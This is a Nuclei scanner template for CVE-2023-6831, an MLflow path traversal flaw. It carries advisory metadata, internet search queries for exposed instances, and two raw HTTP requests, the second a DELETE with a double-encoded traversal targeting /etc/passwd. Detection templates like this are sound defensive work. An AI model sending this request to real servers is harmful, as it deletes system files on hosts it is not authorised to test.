id: CVE-2023-6831

info:
  name: mlflow - Path Traversal
  author: byObin
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  impact: |
    Authenticated attackers can exploit path traversal vulnerabilities to delete arbitrary files on mlflow servers through crafted API requests.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6831
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
    - https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-6831
    cwe-id: CWE-22,CWE-29
    epss-score: 0.0329
    epss-percentile: 0.86884
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive,vuln

http:
  - raw:
      - |
        PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{randstr}}

      - |
        DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "Content-Type: application/json"
          - "Server: gunicorn"
        condition: and

      - type: word
        part: body_2
        words:
          - "{}"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100df2f0c5188828131d4ff10dd89e898b3b6c524c23684325af1838df43fbc8d38022100ce1e96a4cbfadad35883d039d88befe2023ff11cf0a5c2b736acbf7347f93756:922c64590222798bb761d5b6d8e72950